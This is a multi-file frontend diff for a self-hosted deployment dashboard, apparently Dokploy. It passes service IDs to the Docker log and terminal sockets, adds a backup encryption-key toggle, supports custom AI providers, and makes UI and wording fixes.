<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search branch..."
|
||||
@@ -398,7 +406,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
||||
form.setValue("branch", branch.name);
|
||||
}}
|
||||
>
|
||||
{branch.name}
|
||||
<span className="truncate">{branch.name}</span>
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
@@ -460,14 +468,18 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -515,14 +527,14 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@@ -35,9 +35,14 @@ export const DockerLogs = dynamic(
|
||||
interface Props {
|
||||
appName: string;
|
||||
serverId?: string;
|
||||
serviceId?: string;
|
||||
}
|
||||
|
||||
export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
|
||||
export const ShowDockerLogsStack = ({
|
||||
appName,
|
||||
serverId,
|
||||
serviceId,
|
||||
}: Props) => {
|
||||
const [option, setOption] = useState<"swarm" | "native">("native");
|
||||
const [containerId, setContainerId] = useState<string | undefined>();
|
||||
|
||||
@@ -167,6 +172,7 @@ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
|
||||
serverId={serverId || ""}
|
||||
containerId={containerId || "select-a-container"}
|
||||
runType={option}
|
||||
serviceId={serviceId}
|
||||
/>
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
@@ -35,12 +35,14 @@ interface Props {
|
||||
appName: string;
|
||||
serverId?: string;
|
||||
appType: "stack" | "docker-compose";
|
||||
serviceId?: string;
|
||||
}
|
||||
|
||||
export const ShowDockerLogsCompose = ({
|
||||
appName,
|
||||
appType,
|
||||
serverId,
|
||||
serviceId,
|
||||
}: Props) => {
|
||||
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
|
||||
{
|
||||
@@ -104,6 +106,7 @@ export const ShowDockerLogsCompose = ({
|
||||
serverId={serverId || ""}
|
||||
containerId={containerId || "select-a-container"}
|
||||
runType="native"
|
||||
serviceId={serviceId}
|
||||
/>
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
@@ -79,6 +79,7 @@ const Schema = z
|
||||
schedule: z.string().min(1, "Schedule (Cron) required"),
|
||||
prefix: z.string().min(1, "Prefix required"),
|
||||
enabled: z.boolean(),
|
||||
includeEncryptionKey: z.boolean(),
|
||||
database: z.string().min(1, "Database required"),
|
||||
keepLatestCount: z.coerce.number().optional(),
|
||||
serviceName: z.string().nullable(),
|
||||
@@ -223,6 +224,7 @@ export const HandleBackup = ({
|
||||
: "",
|
||||
destinationId: "",
|
||||
enabled: true,
|
||||
includeEncryptionKey: true,
|
||||
prefix: "/",
|
||||
schedule: "",
|
||||
keepLatestCount: undefined,
|
||||
@@ -262,6 +264,7 @@ export const HandleBackup = ({
|
||||
: "",
|
||||
destinationId: backup?.destinationId ?? "",
|
||||
enabled: backup?.enabled ?? true,
|
||||
includeEncryptionKey: backup?.includeEncryptionKey ?? true,
|
||||
prefix: backup?.prefix ?? "/",
|
||||
schedule: backup?.schedule ?? "",
|
||||
keepLatestCount: backup?.keepLatestCount ?? undefined,
|
||||
@@ -309,6 +312,7 @@ export const HandleBackup = ({
|
||||
prefix: data.prefix,
|
||||
schedule: data.schedule,
|
||||
enabled: data.enabled,
|
||||
includeEncryptionKey: data.includeEncryptionKey,
|
||||
database: data.database,
|
||||
keepLatestCount: data.keepLatestCount ?? null,
|
||||
databaseType: data.databaseType || databaseType,
|
||||
@@ -665,6 +669,31 @@ export const HandleBackup = ({
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
{databaseType === "web-server" && (
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="includeEncryptionKey"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex flex-row items-center justify-between rounded-lg border p-3 ">
|
||||
<div className="space-y-0.5">
|
||||
<FormLabel>Include encryption key</FormLabel>
|
||||
<FormDescription>
|
||||
Stores the encryption key inside the backup so
|
||||
environment variables can be restored on a new server.
|
||||
Anyone with access to the backup file can decrypt
|
||||
them.
|
||||
</FormDescription>
|
||||
</div>
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
{backupType === "compose" && (
|
||||
<>
|
||||
{form.watch("databaseType") === "postgres" && (
|
||||
|
||||
@@ -316,7 +316,7 @@ export const RestoreBackup = ({
|
||||
Restore Backup
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-lg">
|
||||
<DialogContent className="sm:max-w-2xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle className="flex items-center">
|
||||
<RotateCcw className="mr-2 size-4" />
|
||||
|
||||
@@ -23,6 +23,7 @@ interface Props {
|
||||
containerId: string;
|
||||
serverId?: string | null;
|
||||
runType: "swarm" | "native";
|
||||
serviceId?: string;
|
||||
}
|
||||
|
||||
export const priorities = [
|
||||
@@ -52,6 +53,7 @@ export const DockerLogsId: React.FC<Props> = ({
|
||||
containerId,
|
||||
serverId,
|
||||
runType,
|
||||
serviceId,
|
||||
}) => {
|
||||
const { data } = api.docker.getConfig.useQuery(
|
||||
{
|
||||
@@ -157,6 +159,10 @@ export const DockerLogsId: React.FC<Props> = ({
|
||||
params.append("serverId", serverId);
|
||||
}
|
||||
|
||||
if (serviceId) {
|
||||
params.append("serviceId", serviceId);
|
||||
}
|
||||
|
||||
const wsUrl = `${protocol}//${
|
||||
window.location.host
|
||||
}/docker-container-logs?${params.toString()}`;
|
||||
@@ -222,7 +228,7 @@ export const DockerLogsId: React.FC<Props> = ({
|
||||
ws.close();
|
||||
}
|
||||
};
|
||||
}, [containerId, serverId, lines, search, since]);
|
||||
}, [containerId, serverId, serviceId, lines, search, since]);
|
||||
|
||||
const handleDownload = () => {
|
||||
const logContent = filteredLogs
|
||||
|
||||
@@ -23,12 +23,14 @@ interface Props {
|
||||
containerId: string;
|
||||
serverId?: string;
|
||||
children?: React.ReactNode;
|
||||
serviceId?: string;
|
||||
}
|
||||
|
||||
export const DockerTerminalModal = ({
|
||||
children,
|
||||
containerId,
|
||||
serverId,
|
||||
serviceId,
|
||||
}: Props) => {
|
||||
const [mainDialogOpen, setMainDialogOpen] = useState(false);
|
||||
const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
|
||||
@@ -74,6 +76,7 @@ export const DockerTerminalModal = ({
|
||||
id="terminal"
|
||||
containerId={containerId}
|
||||
serverId={serverId || ""}
|
||||
serviceId={serviceId}
|
||||
/>
|
||||
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
|
||||
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
|
||||
|
||||
@@ -10,12 +10,14 @@ interface Props {
|
||||
id: string;
|
||||
containerId?: string;
|
||||
serverId?: string;
|
||||
serviceId?: string;
|
||||
}
|
||||
|
||||
export const DockerTerminal: React.FC<Props> = ({
|
||||
id,
|
||||
containerId,
|
||||
serverId,
|
||||
serviceId,
|
||||
}) => {
|
||||
const termRef = useRef(null);
|
||||
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
|
||||
@@ -38,7 +40,7 @@ export const DockerTerminal: React.FC<Props> = ({
|
||||
const addonFit = new FitAddon();
|
||||
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
||||
|
||||
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
|
||||
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
|
||||
|
||||
const ws = new WebSocket(wsUrl);
|
||||
|
||||
|
||||
@@ -229,6 +229,7 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
|
||||
)}
|
||||
<DockerTerminalModal
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.libsqlId}
|
||||
serverId={data?.serverId || ""}
|
||||
>
|
||||
<Button
|
||||
|
||||
@@ -236,6 +236,7 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
|
||||
))}
|
||||
<DockerTerminalModal
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.mariadbId}
|
||||
serverId={data?.serverId || ""}
|
||||
>
|
||||
<Button
|
||||
|
||||
@@ -230,6 +230,7 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
|
||||
</TooltipProvider>
|
||||
<DockerTerminalModal
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.mongoId}
|
||||
serverId={data?.serverId || ""}
|
||||
>
|
||||
<Button
|
||||
|
||||
@@ -228,6 +228,7 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
|
||||
</TooltipProvider>
|
||||
<DockerTerminalModal
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.mysqlId}
|
||||
serverId={data?.serverId || ""}
|
||||
>
|
||||
<Button
|
||||
|
||||
@@ -234,6 +234,7 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
|
||||
</TooltipProvider>
|
||||
<DockerTerminalModal
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.postgresId}
|
||||
serverId={data?.serverId || ""}
|
||||
>
|
||||
<Button
|
||||
|
||||
@@ -229,6 +229,7 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
|
||||
</TooltipProvider>
|
||||
<DockerTerminalModal
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.redisId}
|
||||
serverId={data?.serverId || ""}
|
||||
>
|
||||
<Button
|
||||
|
||||
@@ -13,10 +13,14 @@ import {
|
||||
} from "@/components/ui/card";
|
||||
import { api } from "@/utils/api";
|
||||
import { HandleAi } from "./handle-ai";
|
||||
import { HandleAiProviders } from "./handle-ai-providers";
|
||||
|
||||
export const AiForm = () => {
|
||||
const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
|
||||
const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
|
||||
const { data: currentUser } = api.user.get.useQuery();
|
||||
const isOrgAdmin =
|
||||
currentUser?.role === "owner" || currentUser?.role === "admin";
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
@@ -30,7 +34,10 @@ export const AiForm = () => {
|
||||
</CardTitle>
|
||||
<CardDescription>Manage your AI configurations</CardDescription>
|
||||
</div>
|
||||
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
|
||||
<div className="flex flex-row gap-2">
|
||||
{isOrgAdmin && <HandleAiProviders />}
|
||||
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
|
||||
</div>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-2 py-8 border-t">
|
||||
{isPending ? (
|
||||
|
||||
@@ -32,10 +32,11 @@ import {
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
const formSchema = z.object({
|
||||
name: z.string().min(1, "Name is required"),
|
||||
name: apiKeyNameSchema,
|
||||
prefix: z.string().optional(),
|
||||
expiresIn: z.number().nullable(),
|
||||
organizationId: z.string().min(1, "Organization is required"),
|
||||
@@ -159,8 +160,15 @@ export const AddApiKey = () => {
|
||||
<FormItem>
|
||||
<FormLabel>Name</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="My API Key" {...field} />
|
||||
<Input
|
||||
placeholder="My API Key"
|
||||
maxLength={API_KEY_NAME_MAX_LENGTH}
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormDescription>
|
||||
Maximum {API_KEY_NAME_MAX_LENGTH} characters
|
||||
</FormDescription>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
|
||||
@@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => {
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-2xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Add a external registry</DialogTitle>
|
||||
<DialogTitle>Add an external registry</DialogTitle>
|
||||
<DialogDescription>
|
||||
Fill the next fields to add a external registry.
|
||||
Fill in the following fields to add an external registry.
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
{(isError || testRegistryIsError || testRegistryByIdIsError) && (
|
||||
|
||||
@@ -0,0 +1,158 @@
|
||||
"use client";
|
||||
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
|
||||
import { PlusIcon, ServerIcon, Trash2 } from "lucide-react";
|
||||
import { useEffect, useState } from "react";
|
||||
import { useFieldArray, useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import {
|
||||
Form,
|
||||
FormControl,
|
||||
FormField,
|
||||
FormItem,
|
||||
FormMessage,
|
||||
} from "@/components/ui/form";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
const Schema = z.object({
|
||||
providers: z.array(
|
||||
z.object({
|
||||
name: z.string().min(1, { message: "Name is required" }),
|
||||
apiUrl: z.string().url({ message: "Please enter a valid URL" }),
|
||||
}),
|
||||
),
|
||||
});
|
||||
|
||||
type Schema = z.infer<typeof Schema>;
|
||||
|
||||
export const HandleAiProviders = () => {
|
||||
const utils = api.useUtils();
|
||||
const [open, setOpen] = useState(false);
|
||||
const { data: providers } = api.ai.getCustomProviders.useQuery();
|
||||
const { mutateAsync, isPending } = api.ai.saveCustomProviders.useMutation();
|
||||
|
||||
const form = useForm<Schema>({
|
||||
resolver: zodResolver(Schema),
|
||||
defaultValues: {
|
||||
providers: [],
|
||||
},
|
||||
});
|
||||
|
||||
const { fields, append, remove } = useFieldArray({
|
||||
control: form.control,
|
||||
name: "providers",
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
if (open) {
|
||||
form.reset({ providers: providers ?? [] });
|
||||
}
|
||||
}, [open, providers, form]);
|
||||
|
||||
const onSubmit = async (data: Schema) => {
|
||||
try {
|
||||
await mutateAsync({ providers: data.providers });
|
||||
await utils.ai.getCustomProviders.invalidate();
|
||||
toast.success("Custom providers saved successfully");
|
||||
setOpen(false);
|
||||
} catch (error) {
|
||||
toast.error("Failed to save custom providers", {
|
||||
description: error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<Dialog open={open} onOpenChange={setOpen}>
|
||||
<DialogTrigger asChild>
|
||||
<Button variant="outline" className="cursor-pointer space-x-3">
|
||||
<ServerIcon className="h-4 w-4" />
|
||||
Custom Presets
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Custom AI Providers</DialogTitle>
|
||||
<DialogDescription>
|
||||
Define your own AI providers, like an internal LLM platform. When at
|
||||
least one is defined, only these providers can be used in AI
|
||||
configurations.
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
<Form {...form}>
|
||||
<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-4">
|
||||
{fields.length === 0 && (
|
||||
<p className="text-sm text-muted-foreground">
|
||||
No custom providers defined. The built-in provider list will be
|
||||
used.
|
||||
</p>
|
||||
)}
|
||||
{fields.map((fieldItem, index) => (
|
||||
<div key={fieldItem.id} className="flex gap-2 items-start">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name={`providers.${index}.name`}
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex-1">
|
||||
<FormControl>
|
||||
<Input placeholder="Internal LLM" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name={`providers.${index}.apiUrl`}
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex-[2]">
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="https://llm.internal.company/v1"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="group hover:bg-red-500/10"
|
||||
onClick={() => remove(index)}
|
||||
>
|
||||
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
|
||||
</Button>
|
||||
</div>
|
||||
))}
|
||||
<div className="flex justify-between">
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
onClick={() => append({ name: "", apiUrl: "" })}
|
||||
>
|
||||
<PlusIcon className="h-4 w-4" />
|
||||
Add Provider
|
||||
</Button>
|
||||
<Button type="submit" isLoading={isPending}>
|
||||
Save
|
||||
</Button>
|
||||
</div>
|
||||
</form>
|
||||
</Form>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -99,6 +99,11 @@ export const HandleAi = ({ aiId }: Props) => {
|
||||
enabled: !!aiId,
|
||||
},
|
||||
);
|
||||
const { data: customProviders } = api.ai.getCustomProviders.useQuery();
|
||||
const hasCustomProviders = (customProviders?.length ?? 0) > 0;
|
||||
const providerOptions: { name: string; apiUrl: string }[] = hasCustomProviders
|
||||
? (customProviders ?? [])
|
||||
: [...AI_PROVIDERS];
|
||||
const { mutateAsync, isPending } = aiId
|
||||
? api.ai.update.useMutation()
|
||||
: api.ai.create.useMutation();
|
||||
@@ -210,7 +215,9 @@ export const HandleAi = ({ aiId }: Props) => {
|
||||
<FormLabel>Provider</FormLabel>
|
||||
<Select
|
||||
onValueChange={(value) => {
|
||||
const provider = AI_PROVIDERS.find((p) => p.apiUrl === value);
|
||||
const provider = providerOptions.find(
|
||||
(p) => p.apiUrl === value,
|
||||
);
|
||||
if (provider) {
|
||||
form.setValue("name", provider.name);
|
||||
form.setValue("apiUrl", provider.apiUrl);
|
||||
@@ -222,15 +229,20 @@ export const HandleAi = ({ aiId }: Props) => {
|
||||
<SelectValue placeholder="Select a provider preset..." />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{AI_PROVIDERS.map((provider) => (
|
||||
<SelectItem key={provider.apiUrl} value={provider.apiUrl}>
|
||||
{providerOptions.map((provider) => (
|
||||
<SelectItem
|
||||
key={`${provider.name}-${provider.apiUrl}`}
|
||||
value={provider.apiUrl}
|
||||
>
|
||||
{provider.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<p className="text-[0.8rem] text-muted-foreground">
|
||||
Quick-fill provider name and URL, or configure manually below
|
||||
{hasCustomProviders
|
||||
? "Select one of the providers defined by your organization"
|
||||
: "Quick-fill provider name and URL, or configure manually below"}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
@@ -260,6 +272,7 @@ export const HandleAi = ({ aiId }: Props) => {
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="https://api.openai.com/v1"
|
||||
disabled={hasCustomProviders}
|
||||
{...field}
|
||||
onChange={(e) => {
|
||||
field.onChange(e);
|
||||
@@ -271,7 +284,9 @@ export const HandleAi = ({ aiId }: Props) => {
|
||||
/>
|
||||
</FormControl>
|
||||
<FormDescription>
|
||||
The base URL for your AI provider's API
|
||||
{hasCustomProviders
|
||||
? "The API URL is defined by your organization's providers"
|
||||
: "The base URL for your AI provider's API"}
|
||||
</FormDescription>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
|
||||
@@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
|
||||
<div className="">
|
||||
<FormLabel>App Deploy</FormLabel>
|
||||
<FormDescription>
|
||||
Trigger the action when a app is deployed.
|
||||
Trigger the action when an app is deployed.
|
||||
</FormDescription>
|
||||
</div>
|
||||
<FormControl>
|
||||
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
|
||||
<div className="space-y-0.5">
|
||||
<FormLabel>Dokploy Backup</FormLabel>
|
||||
<FormDescription>
|
||||
Trigger the action when a dokploy backup is created.
|
||||
Trigger the action when a Dokploy backup is created.
|
||||
</FormDescription>
|
||||
</div>
|
||||
<FormControl>
|
||||
@@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
|
||||
<div className="space-y-0.5">
|
||||
<FormLabel>Docker Cleanup</FormLabel>
|
||||
<FormDescription>
|
||||
Trigger the action when the docker cleanup is
|
||||
performed.
|
||||
Trigger the action when Docker cleanup is performed.
|
||||
</FormDescription>
|
||||
</div>
|
||||
<FormControl>
|
||||
@@ -1955,7 +1954,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
|
||||
<div className="space-y-0.5">
|
||||
<FormLabel>Dokploy Restart</FormLabel>
|
||||
<FormDescription>
|
||||
Trigger the action when dokploy is restarted.
|
||||
Trigger the action when Dokploy is restarted.
|
||||
</FormDescription>
|
||||
</div>
|
||||
<FormControl>
|
||||
|
||||
@@ -100,7 +100,7 @@ export const Enable2FA = () => {
|
||||
});
|
||||
|
||||
if (result.error) {
|
||||
if (result.error.code === "INVALID_TWO_FACTOR_AUTHENTICATION") {
|
||||
if (result.error.code === "INVALID_CODE") {
|
||||
toast.error("Invalid verification code");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -43,7 +43,8 @@ const addServerDomain = z
|
||||
.string()
|
||||
.trim()
|
||||
.toLowerCase()
|
||||
.refine((val) => VALID_HOSTNAME_REGEX.test(val), {
|
||||
// empty clears the server domain and reverts to IP-only access
|
||||
.refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), {
|
||||
message: INVALID_HOSTNAME_MESSAGE,
|
||||
}),
|
||||
letsEncryptEmail: z.string(),
|
||||
@@ -51,7 +52,7 @@ const addServerDomain = z
|
||||
certificateType: z.enum(["letsencrypt", "none", "custom"]),
|
||||
})
|
||||
.superRefine((data, ctx) => {
|
||||
if (data.https && !data.certificateType) {
|
||||
if (data.domain && data.https && !data.certificateType) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
path: ["certificateType"],
|
||||
@@ -59,6 +60,7 @@ const addServerDomain = z
|
||||
});
|
||||
}
|
||||
if (
|
||||
data.domain &&
|
||||
data.https &&
|
||||
data.certificateType === "letsencrypt" &&
|
||||
!data.letsEncryptEmail
|
||||
|
||||
@@ -40,6 +40,7 @@ interface Props {
|
||||
children?: React.ReactNode;
|
||||
serverId?: string;
|
||||
appType?: "stack" | "docker-compose";
|
||||
serviceId?: string;
|
||||
}
|
||||
|
||||
export const DockerTerminalModal = ({
|
||||
@@ -47,6 +48,7 @@ export const DockerTerminalModal = ({
|
||||
appName,
|
||||
serverId,
|
||||
appType,
|
||||
serviceId,
|
||||
}: Props) => {
|
||||
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
|
||||
{
|
||||
@@ -131,6 +133,7 @@ export const DockerTerminalModal = ({
|
||||
serverId={serverId || ""}
|
||||
id="terminal"
|
||||
containerId={containerId || "select-a-container"}
|
||||
serviceId={serviceId}
|
||||
/>
|
||||
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
|
||||
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
|
||||
|
||||
@@ -648,7 +648,7 @@ function SidebarLogo() {
|
||||
</SidebarMenuButton>
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent
|
||||
className="rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
|
||||
className="w-64 rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
|
||||
align="start"
|
||||
side={isMobile ? "bottom" : "right"}
|
||||
sideOffset={4}
|
||||
|
||||
@@ -5,7 +5,7 @@ import type * as React from "react";
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
const badgeVariants = cva(
|
||||
"group/badge inline-flex w-fit shrink-0 items-center justify-center gap-1 overflow-hidden rounded-4xl border border-transparent px-2.5 py-0.5 text-xs font-medium whitespace-nowrap transition-all focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 aria-invalid:border-destructive aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 [&>svg]:pointer-events-none [&>svg]:size-3!",
|
||||
"group/badge inline-flex w-fit shrink-0 items-center justify-center gap-1 overflow-hidden rounded-4xl border border-transparent px-2.5 py-0.5 text-xs font-medium whitespace-nowrap transition-all focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 aria-invalid:border-destructive aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 [&>svg:not(.cursor-pointer)]:pointer-events-none [&>svg]:size-3!",
|
||||
{
|
||||
variants: {
|
||||
variant: {
|
||||
|
||||
@@ -151,13 +151,15 @@ function CommandItem({
|
||||
<CommandPrimitive.Item
|
||||
data-slot="command-item"
|
||||
className={cn(
|
||||
"group/command-item relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground",
|
||||
"group/command-item relative flex cursor-default items-center gap-2 rounded-md px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground",
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
|
||||
{"data-checked" in props && (
|
||||
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
|
||||
)}
|
||||
</CommandPrimitive.Item>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,21 +1,37 @@
|
||||
import { CheckIcon, ChevronRightIcon } from "lucide-react";
|
||||
import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
|
||||
import type * as React from "react";
|
||||
import * as React from "react";
|
||||
import { markNestedPopupClosed } from "@/components/ui/nested-popup-context";
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
function DropdownMenu({
|
||||
open,
|
||||
defaultOpen,
|
||||
onOpenChange,
|
||||
...props
|
||||
}: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
|
||||
const [uncontrolledOpen, setUncontrolledOpen] = React.useState(
|
||||
defaultOpen ?? false,
|
||||
);
|
||||
const isControlled = open !== undefined;
|
||||
const isOpen = isControlled ? open : uncontrolledOpen;
|
||||
|
||||
return (
|
||||
<DropdownMenuPrimitive.Root
|
||||
data-slot="dropdown-menu"
|
||||
onOpenChange={(open) => {
|
||||
if (!open) {
|
||||
open={isOpen}
|
||||
onOpenChange={(nextOpen) => {
|
||||
// Radix closes menus on window blur, unmounting any dialog rendered inside
|
||||
if (!nextOpen && !document.hasFocus()) {
|
||||
return;
|
||||
}
|
||||
if (!isControlled) {
|
||||
setUncontrolledOpen(nextOpen);
|
||||
}
|
||||
if (!nextOpen) {
|
||||
markNestedPopupClosed();
|
||||
}
|
||||
onOpenChange?.(open);
|
||||
onOpenChange?.(nextOpen);
|
||||
}}
|
||||
{...props}
|
||||
/>
|
||||
|
||||
